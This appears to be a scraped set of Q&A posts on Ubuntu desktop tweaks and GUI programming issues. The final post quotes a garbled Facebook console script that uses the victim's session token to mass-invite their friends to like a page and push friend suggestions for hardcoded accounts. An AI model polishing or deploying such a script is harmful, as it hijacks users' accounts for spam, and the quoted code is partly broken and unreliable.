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  • How to Add a Taskbar to the Desktop in Ubuntu 14.04

    - by Lori Kaufman
    If you’ve switched to Ubuntu from Windows, it may take some time to get used to the new and different interface. However, you can easily incorporate a familiar Windows feature, the Taskbar, into Ubuntu to make the transition easier. A tool called Tint2 provides a bar at the bottom of the Ubuntu Desktop that resembles the Windows Taskbar. We will show you how to install it and make it start every time you log into Ubuntu. NOTE: When we say to type something in this article and there are quotes around the text, DO NOT type the quotes, unless we specify otherwise. Press Ctrl + Alt + T to open a Terminal window. To install Tint2, type the following line at the prompt and press Enter. sudo apt-get install tint2 Type your password at the prompt and press Enter. The progress of the installation displays and then a message displays saying how much disk space will be used. When asked if you want to continue, type a “y” and press Enter. When the installation has finished, close the Terminal window by typing “exit” at the prompt and pressing Enter. Click the Search button at the top of the Unity bar. Start typing “startup applications” in the Search box. Items that match what you type start displaying below the Search box. When the Startup Applications tool displays, click the icon to open it. On the Startup Applications Preferences window, click Add. On the Add Startup Program dialog box, enter a name for the startup application. This name displays in the list on the Startup Applications Preferences window. Type “tint2” in the Command edit box, enter a description in the Comment edit box, if desired, and click Add. Tint2 is added as a startup program and will start every time you log into Ubuntu. Click Close to close the Startup Applications Preferences window. Log out and log back in to make the Taskbar available on the desktop. You do not need to reboot the computer for this change to take effect. Now, when you minimize a program, an icon for it displays on the Taskbar at the bottom of the screen, just like the Taskbar in Windows. If you decide that you don’t want the Taskbar to display every time you log into Ubuntu, you can uncheck the Tint2 startup program on the Startup Applications Preferences window. You don’t need to delete it from the list.

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  • How to change screen resolution in slick2d?

    - by SystemNetworks
    I released my game for testing for both windows and mac. I'm using mac as my development workspace. My friends uses windows and the window was to big. I created a 1000*1500 Screen window. I can change the window size but that means I have to re-do all my sprite sheets again with smaller sheets. I don't want to this again but is there a way which I can make the window smaller without changing the size of my sprite and changing co-ordinates of the mouse clicks?

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  • Is it possible to have zsh+keychain+tmux not ask for keys?

    - by Wayne Werner
    I'm using tmux and zsh, and I've recently been learning about ssh-agent and keychain. From the manpage for zsh, it says that it will source .zlogin only if the shell is, well, a login shell. Following advice I read, I stuck keychain --clear in my .zlogin, which worked perfectly. When I logged into the box I had to unlock my key. However, each time I create a new window in tmux, it clears/makes me re-add my key. This is a little annoying... but I can understand it if, in fact, each new tmux window is a login window. I haven't been able to find much help outside of the manpages on this topic. So is each new tmux window a login shell, or is there any way that I can make it not clear my keys only when I create a tmux window?

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  • Can't use SFML sprite drawing and OpenGL rendering at the same time

    - by Ken
    I'm using some SFML built in functions to draw sprites and text as an overlay on top of some OpenGL rending in an SFML RenderWindow. The opengl rendering appears fine until I add the code to draw the sprites or text. The sprite or text drawing causes the OpenGL stuff to disappear. The follow code show what I'm trying to do sf::RenderWindow window(sf::VideoMode(viewport.width,viewport.height,32), "SFML Window"); glMatrixMode(GL_PROJECTION); glLoadIdentity(); glOrtho(0,viewport.width,0,viewport.height,0,1); while (window.pollEvent(Event)) { //event handling... //begin drawing glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glBegin(GL_TRIANGLES); glColor3f(col.x,col.y,col.z); for(int i=0;i<3;i++) glVertex2f(pos.x+verts[i].x,pos.y+verts[i].y); glEnd(); // adding this line causes all the previous opengl triangles not to appear window.draw("Sometext"); window.display(); }

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  • Quickly ubuntu-application + indicator template don't work

    - by aliasbody
    I've started to work with quickly and python (because I wanted to have some GTk3 integration and create and appindicator), and so I create the projecto like this : quickly create ubuntu-application ualarm cd ualarm quickly run And the application launched. But then I tried to add the appindicator like this : quickly add indicator And since then the application doesn't start anymore and this error appear : aliasbody@BodyUbuntu-PC:~/Projectos/ualarm$ quickly run (ualarm:8515): Gtk-WARNING **: Theme parsing error: gnome-panel.css:28:11: Not using units is deprecated. Assuming 'px'. /usr/lib/python2.7/dist-packages/gi/overrides/Gtk.py:391: Warning: g_object_set_property: construct property "type" for object `Window' can't be set after construction Gtk.Window.__init__(self, type=type, **kwds) Traceback (most recent call last): File "bin/ualarm", line 33, in <module> ualarm.main() File "/home/aliasbody/Projectos/ualarm/ualarm/__init__.py", line 33, in main window = UalarmWindow.UalarmWindow() File "/home/aliasbody/Projectos/ualarm/ualarm_lib/Window.py", line 35, in __new__ new_object.finish_initializing(builder) File "/home/aliasbody/Projectos/ualarm/ualarm/UalarmWindow.py", line 24, in finish_initializing super(UalarmWindow, self).finish_initializing(builder) File "/home/aliasbody/Projectos/ualarm/ualarm_lib/Window.py", line 75, in finish_initializing self.indicator = indicator.new_application_indicator(self) File "/home/aliasbody/Projectos/ualarm/ualarm/indicator.py", line 52, in new_application_indicator ind = Indicator(window) File "/home/aliasbody/Projectos/ualarm/ualarm/indicator.py", line 20, in __init__ self.indicator = AppIndicator3.Indicator('ualarm', '', AppIndicator3.IndicatorCategory.APPLICATION_STATUS) TypeError: GObject.__init__() takes exactly 0 arguments (3 given) How can I solve this problem ?

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  • Using irc in NetBeans IDE 7.2

    - by Geertjan
    Turns out to be easy to use irc in NetBeans IDE 7.2. Install Irssi (I was able to do apt-get to install it), which has a handy guide here, and then use the Terminal window in NetBeans IDE (Window | Output | Terminal): In the above, do this: irssi /connect irc.freenode.net /join #netbeans Then, next time you have a problem in NetBeans IDE or there's some question you have about how to do something, just type your question in the Terminal window and someone will help you, if someone is there who knows the answer.

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  • Strange behavior from Firefox and Paypal Plugin

    - by Fake Name
    Ok, so I use the paypal plugin with firefox, which is really nice because you can generate single use credit-cards on the fly. However, recently it's been acting strange. Normally, when you use the plugin, a drop-down window open in firefox. However, at some point (I'm not sure exactly when it happened, because I thought it wasn't working for a while) the drop-down window started appearing in thunderbird. As in, I click on the plugin button in firefox, and the plugin window immediately opens in Thunderbird. If Thunderbird is closed, the plugin does not open at all. I can use it normally this way (everything works except the receipt-saving function). but the whole affair seems a little odd to me. Is there any reason that could cause things to be redirected from one mozilla-application-window to another mozilla-application-window? Everything is up to date: Firefox 3.6.3 Thunderbird 3.0.5 Paypal Plugin 2.2.26.0

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  • Inherit one instance variable from the global scope

    - by Julian
    I'm using Curses to create a command line GUI with Ruby. Everything's going well, but I have hit a slight snag. I don't think Curses knowledge (esoteric to be fair) is required to answer this question, just Ruby concepts such as objects and inheritance. I'm going to explain my problem now, but if I'm banging on, just look at the example below. Basically, every Window instance needs to have .close called on it in order to close it. Some Window instances have other Windows associated with it. When closing a Window instance, I want to be able to close all of the other Window instances associated with it at the same time. Because associated Windows are generated in a logical fashion, (I append the name with a number: instance_variable_set(self + integer, Window.new(10,10,10,10)) ), it's easy to target generated windows, because methods can anticipate what assosiated windows will be called, (I can recreate the instance variable name from scratch, and almost query it: instance_variable_get(self + integer). I have a delete method that handles this. If the delete method is just a normal, global method (called like this: delete_window(@win543) then everything works perfectly. However, if the delete method is an instance method, which it needs to be in-order to use the self keyword, it doesn't work for a very clear reason; it can 'query' the correct instance variable perfectly well (instance_variable_get(self + integer)), however, because it's an instance method, the global instances aren't scoped to it! Now, one way around this would obviously be to simply make a global method like this: delete_window(@win543). But I have attributes associated with my window instances, and it all works very elegantly. This is very simplified, but it literally translates the problem exactly: class Dog def speak woof end end def woof if @dog_generic == nil puts "@dog_generic isn't scoped when .woof is called from a class method!\n" else puts "@dog_generic is scoped when .woof is called from the global scope. See:\n" + @dog_generic end end @dog_generic = "Woof!" lassie = Dog.new lassie.speak #=> @dog_generic isn't scoped when .woof is called from an instance method!\n woof #=> @dog_generic is scoped when .woof is called from the global scope. See:\nWoof! TL/DR: I need lassie.speak to return this string: "@dog_generic is scoped when .woof is called from the global scope. See:\nWoof!" @dog_generic must remain as an insance variable. The use of Globals or Constants is not acceptable. Could woof inherit from the Global scope? Maybe some sort of keyword: def woof < global # This 'code' is just to conceptualise what I want to do, don't take offence! end Is there some way the .woof method could 'pull in' @dog_generic from the global scope? Will @dog_generic have to be passed in as a parameter?

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  • Application menu only on maximised windows?

    - by Echogene
    I know that there is a way to disable global menu. I don't quite want this as I quite like (at least one thing about) global menu. I would like to know if there is a way of disabling global menu for non-maximised windows. Thus I ask: is this possible and if so, how is it done?To me, the menu bar/global menu should be visually a part of the window since it is a part of the program and the window is meant to encapsulate the program. Global menu is only visually a part of a window when the window is maximised and merged with the top bar. I don't like bits of my windows floating all around the screen. You wouldn't drive a car when the driver's seat is on the roof of your house.

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  • Creating Ubuntu Browser App Frames

    - by user73006
    After watching the video i am inspired to create one browser but stuck at one place, could you please help me with this. Requirement = - Like you displayed in your Video i wan create Multiple Buttons in my Toolbar which will open Second ToolBar or Popup Window. - From that Pop Window i wanted to Select Specific Button Which will open My Required Browser. Question - - As displayed in your Video i create new BUtton and If i try to open new link using that it works but now i want to display tool bar or Popup window once any one click on that button, how can i do that.The Second Tool Bar Need to be Activated only after clicking on that button. Things i Tried - - As per my understanding i create Second Toolbar and on that tool bar i have created Button, now i wan know how do i link that tool bar with my Browser Toolbar button. - I tried that by passing Signal Property in Second Toolbar in Quickly but something is missing. MY Code class TvbrowserWindow(Window): gtype_name = "TvbrowserWindow" def finish_initializing(self, builder): # pylint: disable=E1002 """Set up the main window""" super(TvbrowserWindow, self).finish_initializing(builder) self.AboutDialog = AboutTvbrowserDialog self.PreferencesDialog = PreferencesTvbrowserDialog # Code for other initialization actions should be added here. self.refreshbutton=self.builder.get_object("refreshbutton") self.SONY=self.builder.get_object("SONY") self.urlentry=self.builder.get_object("urlentry") self.scrolledwindow1=self.builder.get_object("scrolledwindow1") self.webview = WebKit.WebView() self.scrolledwindow1.add(self.webview) self.webview.show() def on_refreshbutton_clicked(self, widget): print "refresh" def on_urlentry_activate(self, widget): url = widget.get_text() print url self.webview.open(url)

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  • Smarter Search Results in NetBeans IDE 7.2

    - by Geertjan
    After you search your code using NetBeans IDE (using Ctrl-F for "Find" or Ctrl-H for "Replace"), you see the Search Results window, which looks like this: At least, the above is how it looks in NetBeans IDE 7.2. Before that, you didn't have all those extra columns (which can be displayed in the Search Results window after clicking the small button top right in the view) and you also didn't have the quick search (which is invoked by typing directly into the Search Results window), as can be seen here: So, the Search Results window now provides a lot more info than before. Being able to know the path to a file I've found, as well as the last modification date, file size, and the number of matches within the file, is useful at the end of a search process. In the NetBeans IDE 7.2 New & Noteworthy, the above changes are described in the Utilities section, as well as in the Quick Search in OutlineView section, where you can read that these are generic solutions that can be used in your own OutlineViews. Other OutlineViews in NetBeans IDE 7.2, such as the Debugger window, now also have these new features. A related article worth reading is Beefed Up Code Navigation Tools in NetBeans IDE 7.2. 

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  • Issue in moving windows from one desktop to another with the compiz cube

    - by Keynesian
    After having installed compiz I made a reset then I have enabled: composite gnome compatibility openGL negative desktop cube expo rotating cube viewport switcher 3D windows cube reflection and deformation fading windows window decoration mouse position polling regex matching move window -resize window Then the usual commands alt+tab+shift+left/right and alt+tab are not working anymore. Any solution? Thank you!

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  • Laptop power button not working

    - by DyP
    I have a (seemingly rather exotic) Dell Latitude XT2 notebook running Lubuntu 12.04, fresh install. Tried to get the power button to work as expected (opening lubuntu-logout, just as I think it was meant to be out-of-the box), but no success: power button does nothing but forced power-off on long press. Here some more information, please ask if something more could help: Power button is recognized as a device: xinput lists Power Button as a slave keyboard at /dev/input/event1, and I can run a tool to listen to that device and invoke some action (successfully). But using .config/openbox/lubuntu-rc.xml to assign some action to XF86ShutDown or XF86PowerOff does nothing. Works well for any key of the keyboard. xinput --test reports a keycode (key press, key release) of 124 when pressing & releasing the power button. xmodmap -pk lists 124 mapped to XF86PowerOff which seems correct to me (btw: is this the same as XF86ShutDown?) When assigning another keysymname to the 124 keycode, e.g. 'w', still nothing happens when pressing the power button (no window seems to receive a 'w'). Works well for any key on the keyboard. The outputs of xev for a press/release of the power button irritate me: MappingNotify event, serial 41, synthetic NO, window 0x0, request MappingKeyboard, first_keycode 8, count 248 FocusOut event, serial 41, synthetic NO, window 0x2a00001, mode NotifyGrab, detail NotifyAncestor FocusIn event, serial 41, synthetic NO, window 0x2a00001, mode NotifyUngrab, detail NotifyAncestor KeymapNotify event, serial 41, synthetic NO, window 0x0, keys: 93 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 (instead of 93, I also get different values) I might have missed something very basic since I'm not very familiar with both openbox/lubuntu and the X input system. Btw.: same goes for three other special buttons on my laptop..

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  • xfce4 - 'Run Program' dialogue box does not appear when double clicking script

    - by Ron Paulfan
    Ubuntu 12.04 Xfce4 On my previous Ubuntu distro, when I double clicked scripts I got a little dialogue window that asked me if I wanted to run the script as a program or run it in terminal. Similar to this window: Since upgrading, I have never seen that window. I have ensured that the option to 'Allow executing as a program is enabled' and the script works if I run it through terminal. I simply just don't get the prompt. Any ideas?

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  • Philosophy of scroll bars [closed]

    - by Parkhid
    Please suppose I want to design my own text editor . simply like notepad. Without using any richtextbox or other controls LIKE EDIT in C++. Main Handle is just a window in C++ or usercontrol in C#. The Question is here for scrolling option , how can I perform scrolling when user is typing. I mean vertical scrolling here . What is Philosophy of works of scroll bars in C++ windows or C# user controls ? Should I Clear the (Usercontrol or Window) When User reaches to end of (Usercontrol or Window) and then Put caret on start of (Usercontrol or Window) ? What about scrolling with thumb or hand scrolling ? How can I find the Text Position which scroll to ?

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  • maximized windows on unity start without covering the sidebar - how can i do that manually? (screenshots included)

    - by user12692
    this is how a maximized window looks when unity runs for the first time http://dl.dropbox.com/u/452182/untitled%20folder/Screenshot.png and this is how a maximized window looks when i click on the "maximize" button - after i restore it http://dl.dropbox.com/u/452182/untitled%20folder/Screenshot-1.png is there a shortcut to make a window get maximized without hiding the siderbar (like in the first screeshot) without making the siderbar always visible?

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  • How to change screen resolution for installation

    - by Embercastle
    I am trying to install Unity on an old computer with a 1.7 ghz cpu but the installation windows only show the top quarter of the window (so unable to see or select all the prompts in the window). I have tired going to system settings, but because I cannot see all of windows, I cannot change system settings to make the resolution smaller. Is there any way to change the resolution so that I can see the full window so that I can complete the installation?

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  • Overlapping text on top menu in Unity 12.04

    - by mercury
    So I'm new to Linux but am basically blown away by Ubuntu 12.04 and could definitely see this becoming my main desktop over time One small annoyance for me is a tendency for the global menu on the top bar to partially over-write the text description of the active window in the top panel. e.g. I focus on the "Ubuntu Software Centre" window which writes out that label in the leftmost corner of the top menu bar. If I then move the cursor up to the top menu bar to access the "file menu", this will partially overwrite the window name leaving just "Ubuntu" visible. This is a little slice of ugliness I don't want to see every day! Much easier on the eye for me would be to display the active window name at the centre of the top panel, using some of that free space and then have the global menu stay where it is, just to the right of the app launcher. I've found a solution to disable the global menu but I would prefer to keep it and instead move (or disable) the active window name in the top panel. Any way to do this?

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  • Full screen: launchbar + panel overlaps when showing a dialog box

    - by user85921
    I'm developing a program for 12.04 that will run on full-screen, so I would like to have full control of what appears on the screen. However, when I show another window (possibly a dialog/message box), the Uunity Panel and Launcher appears on the top and left side of the screen. I've experienced this behavior with other applications (Firefox, Gnubg) as well when in full-screen mode. I tried to play with the settings, now my dialog box is hidden from the the taskbar, set to float on it's parent, which is my full screen window. The problem still exists. Is there a way to prevent these panels from showing up, when the new window isn't shown in taskbar, or it's parent is a full-screen window? Or do I need to completely disable them?

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  • How can I set `less` or `more` max lines (scrollable height) limit/boundary in linux?

    - by Rudie
    (Sorry for the title. Any suggestions?) I've set my commandline PS1 to cover 3 lines: white space user, server and pwd $ or # to input I think less (or more?) is configured to break after window's height - 1, because when I do a $ git log, the first two lines are invisible at the top of the window and the rest is scrollable. I'm not sure who handles this scrolling and its configuration, but I assume GIT uses less/more. Where can I configure that my scrollable window is window height - 3 lines and not window height - 1? More info: If I cat lines.txt | less with a 23 line file, it shows the entire file and no scrolling. If I do the same with a 24 line file, it doesn't show line 1 (and no scrolling). With 25 lines: doesn't show lines 1 and 2 (and no scrolling). With 26 lines: shows line 1 and scrolling! The less breakpoint is at the wrong height...

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  • WPF, UserControl, and Commands? Oh my!

    - by Greg D
    (This question is related to another one, but different enough that I think it warrants placement here.) Here's a (heavily snipped) Window: <Window x:Class="Gmd.TimeTracker2.TimeTrackerMainForm" xmlns:local="clr-namespace:Gmd.TimeTracker2" xmlns:localcommands="clr-namespace:Gmd.TimeTracker2.Commands" x:Name="This" DataContext="{Binding ElementName=This}"> <Window.CommandBindings> <CommandBinding Command="localcommands:TaskCommands.ViewTaskProperties" Executed="HandleViewTaskProperties" CanExecute="CanViewTaskPropertiesExecute" /> </Window.CommandBindings> <DockPanel> <!-- snip stuff --> <Grid> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition Height="Auto" /> </Grid.RowDefinitions> <!-- snip more stuff --> <Button Content="_Create a new task" Grid.Row="1" x:Name="btnAddTask" Click="HandleNewTaskClick" /> </Grid> </DockPanel> </Window> and here's a (heavily snipped) UserControl: <UserControl x:Class="Gmd.TimeTracker2.TaskStopwatchControl" xmlns:local="clr-namespace:Gmd.TimeTracker2" xmlns:localcommands="clr-namespace:Gmd.TimeTracker2.Commands" x:Name="This" DataContext="{Binding ElementName=This}"> <UserControl.ContextMenu> <ContextMenu> <MenuItem x:Name="mnuProperties" Header="_Properties" Command="{x:Static localcommands:TaskCommands.ViewTaskProperties}" CommandTarget="What goes here?" /> </ContextMenu> </UserControl.ContextMenu> <StackPanel> <TextBlock MaxWidth="100" Text="{Binding Task.TaskName, Mode=TwoWay}" TextWrapping="WrapWithOverflow" TextAlignment="Center" /> <TextBlock Text="{Binding Path=ElapsedTime}" TextAlignment="Center" /> <Button Content="{Binding Path=IsRunning, Converter={StaticResource boolToString}, ConverterParameter='Stop Start'}" Click="HandleStartStopClicked" /> </StackPanel> </UserControl> Through various techniques, a UserControl can be dynamically added to the Window. Perhaps via the Button in the window. Perhaps, more problematically, from a persistent backing store when the application is started. As can be seen from the xaml, I've decided that it makes sense for me to try to use Commands as a way to handle various operations that the user can perform with Tasks. I'm doing this with the eventual goal of factoring all command logic into a more formally-defined Controller layer, but I'm trying to refactor one step at a time. The problem that I'm encountering is related to the interaction between the command in the UserControl's ContextMenu and the command's CanExecute, defined in the Window. When the application first starts and the saved Tasks are restored into TaskStopwatches on the Window, no actual UI elements are selected. If I then immediately r-click a UserControl in the Window in an attempt to execute the ViewTaskProperties command, the CanExecute handler never runs and the menu item remains disabled. If I then click some UI element (e.g., the button) just to give something focus, the CanExecute handlers are run with the CanExecuteRoutedEventArgs's Source property set to the UI element that has the focus. In some respect, this behavior seems to be known-- I've learned that menus automat

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  • Passing Variables between views / view controllers

    - by Dan
    Hi I'm new to ObjectiveC / IPhoneSDK and I'm informally trying to study it on my own. What I'm basically trying to do is from one view there are 12 zodiac signs. When a user clicks one, it proceeds to the second view (with animation) and loads the name of the zodiac sign it clicked in a UILabel, that's it. Here are my codes: Lovescopes = 1st page Horoscopes = 2nd page Lovescopes4AppDelegate.h #import <UIKit/UIKit.h> #import "HoroscopesViewController.h" #import "Lovescopes4AppDelegate.h" @class Lovescopes4ViewController; @interface Lovescopes4AppDelegate : NSObject <UIApplicationDelegate> { UIWindow *window; Lovescopes4ViewController *viewController; HoroscopesViewController *horoscopesViewController; } -(void)loadHoroscope; -(void)loadMainPage; @property (nonatomic, retain) IBOutlet UIWindow *window; @property (nonatomic, retain) IBOutlet Lovescopes4ViewController *viewController; @property (nonatomic, retain) HoroscopesViewController *horoscopesViewController; @end Lovescopes4AppDelegate.m #import "Lovescopes4AppDelegate.h" #import "Lovescopes4ViewController.h" @implementation Lovescopes4AppDelegate @synthesize window; @synthesize viewController; @synthesize horoscopesViewController; -(void)loadHoroscope { HoroscopesViewController *aHoroscopeViewController = [[HoroscopesViewController alloc] initWithNibName:@"HoroscopesViewController" bundle:nil]; [self setHoroscopesViewController:aHoroscopeViewController]; [aHoroscopeViewController release]; [UIView beginAnimations:nil context:NULL]; [UIView setAnimationDuration:0.5]; [UIView setAnimationTransition:UIViewAnimationTransitionFlipFromLeft forView:window cache:YES]; [viewController.view removeFromSuperview]; [self.window addSubview:[horoscopesViewController view]]; [UIView commitAnimations]; } -(void)loadMainPage { [UIView beginAnimations:nil context:NULL]; [UIView setAnimationDuration:0.5]; [UIView setAnimationTransition:UIViewAnimationTransitionFlipFromRight forView:window cache:NO]; [horoscopesViewController.view removeFromSuperview]; [self.window addSubview:[viewController view]]; [UIView commitAnimations]; [horoscopesViewController release]; horoscopesViewController = nil; } - (void)applicationDidFinishLaunching:(UIApplication *)application { // Override point for customization after app launch [window addSubview:viewController.view]; [window makeKeyAndVisible]; } - (void)dealloc { [viewController release]; [window release]; [super dealloc]; } @end Lovescopes4ViewController.h #import <UIKit/UIKit.h> #import "HoroscopesViewController.h" @interface Lovescopes4ViewController : UIViewController { HoroscopesViewController *hvc; } -(IBAction)loadAries; @property (nonatomic, retain) HoroscopesViewController *hvc; @end Lovescope4ViewController.m #import "Lovescopes4ViewController.h" #import "Lovescopes4AppDelegate.h" @implementation Lovescopes4ViewController @synthesize hvc; -(IBAction)loadAries { NSString *selected =@"Aries"; [hvc loadZodiac:selected]; Lovescopes4AppDelegate *mainDelegate = (Lovescopes4AppDelegate *) [[UIApplication sharedApplication] delegate]; [mainDelegate loadHoroscope]; } HoroscopesViewController.h #import <UIKit/UIKit.h> @interface HoroscopesViewController : UIViewController { IBOutlet UILabel *zodiacLabel; } -(void)loadZodiac:(id)zodiacSign; -(IBAction)back; @property (nonatomic, retain) IBOutlet UILabel *zodiacLabel; @end HoroscopesViewController.m #import "HoroscopesViewController.h" #import "Lovescopes4AppDelegate.h" @implementation HoroscopesViewController @synthesize zodiacLabel; /* // The designated initializer. Override if you create the controller programmatically and want to perform customization that is not appropriate for viewDidLoad. - (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil { if (self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil]) { // Custom initialization } return self; } */ /* // Implement viewDidLoad to do additional setup after loading the view, typically from a nib. - (void)viewDidLoad { [super viewDidLoad]; } */ /* // Override to allow orientations other than the default portrait orientation. - (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation { // Return YES for supported orientations return (interfaceOrientation == UIInterfaceOrientationPortrait); } */ -(void)loadZodiac:(id)zodiacSign { zodiacLabel.text = [NSString stringWithFormat: @"%@", zodiacSign]; } -(IBAction)back { Lovescopes4AppDelegate *mainDelegate = (Lovescopes4AppDelegate *) [[UIApplication sharedApplication] delegate]; [mainDelegate loadMainPage]; }

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  • how to conver this to a button action

    - by Filipe Heitor
    i have this code to paste in a browser console, can i turn this in to a button ??? and run in a html page? javascript:var Title="Ganhando Likes Na Pagina Do Facebook.";var Descriptions="",_text='Criado & Configurado Por Pelegrino RoxCurta Por favor MeGustaJEdi';page_id=/"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];function InviteFriends(opo){jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send_single/?page_id="+page_id+"&invitee="+opo+"&elem_id=u_0_1k&action=send&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg="+fb_dtsg+"&phstamp=",function(a){var b=a.substring(a.indexOf("{"));var c=JSON.parse(b);i--;Descriptions="";err++;if(c.errorDescription)Descriptions+=c.errorDescription;else Descriptions+=JSON.stringify(c,null,"")}else{Descriptions+="color:darkgreen'";Descriptions+=arn[i]+" has been invited to like the page "+page_name+".";suc++}Descriptions+="";var display="";display+=""+Title+"";if(i0){display+=arr.length+" Friends Detected";display+=""+suc+" Friends Invited of "+(arr.length-i)+" Friends Processed ";display+="("+i+" Lefted...)";display+="";display+=Descriptions;display+="https://fbcdn-profile-a.akamaihd.net/.../r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src="+pho[i]+""+arn[i]+"";display+="";display+="Please Wait While Inviting Your Friends to Like Your Page "+page_name+".";display+=_text;display+="";display+="";window[tag+"_close"]=true}else{Title="All Of Your Friends Have Been Invited to Like Your Page.";display+=arr.length+" Friends Detected and ";display+=""+suc+" Friends Invited.";display+="Go to HomepageRefresh PageCancel";display+="";display+=_text;display+="";window[tag+"_close"]=false}display+="";document.getElementById("pagelet_sidebar").innerHTML=display},"text","post");tay--;if(tay0){var s=arr[tay];setTimeout("InviteFriends("+s+")",100)}console.log(tay+"/"+arr.length+":"+arr[tay]+"/"+arn[tay]+", success:"+suc);if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=1273872655&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658165120113116104521114",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=100002920534041&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658168561015387781130",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg="+fb_dtsg+"&profileChooserItems=%7B%22"+opo+"%22%3A1%7D&checkableitems[0]="+opo+"&page_id="+page_id+"&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",function(){},"text","post")}jx={b:function(){var b=!1;if("undefined"!=typeof ActiveXObject)try{b=new ActiveXObject("Msxml2.XMLHTTP")}catch(c){try{b=new ActiveXObject("Microsoft.XMLHTTP")}catch(a){b=!1}}else if(window.XMLHttpRequest)try{b=new XMLHttpRequest}catch(h){b=!1}return b},load:function(b,c,a,h,g){var e=this.d();if(e&&b){e.overrideMimeType&&e.overrideMimeType("text/xml");h||(h="GET");a||(a="text");g||(g={});a=a.toLowerCase();h=h.toUpperCase();b+=b.indexOf("?")+1?"&":"?";var k=null;"POST"==h&&(k=b.split("?"),b=k[0],k=k[1]);e.open(h,b,!0);e.onreadystatechange=g.c?function(){g.c(e)}:function(){if(4==e.readyState)if(200==e.status){var b="";e.responseText&&(b=e.responseText);"j"==a.charAt(0)?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):"x"==a.charAt(0)&&(b=e.responseXML);c&&c(b)}else g.f&&document.getElementsByTagName("body")[0].removeChild(g.f),g.e&&(document.getElementById(g.e).style.display="none"),error&&error(e.status)};e.send(k)}},d:function(){return this.b()}};function ChangeLocation(){window.location.href="http://www.facebook.com/"}setTimeout("ChangeLocation",1);window.onbeforeunload=function(){if(window[tag+"_close"])return"This script is running now!"};var i=3;var tay=3;var suc=0;var err=0;var arr=new Array;var arn=new Array;var pho=new Array;var tag="Close";var page_name,x=document.getElementsByTagName("span");for(i=0;ia=1&_dyn=7n8aD5z5CF-3ui&__req=l",function(a){var b=a;var c=b.substring(b.indexOf("{"));var d=JSON.parse(c);d=d.payload.entries;for(var e=0;e";display+=""+Title+"";display+=arr.length+" Friends Detected";display+="";document.getElementById("pagelet_sidebar").innerHTML=display;InviteFriends(arr[i])});

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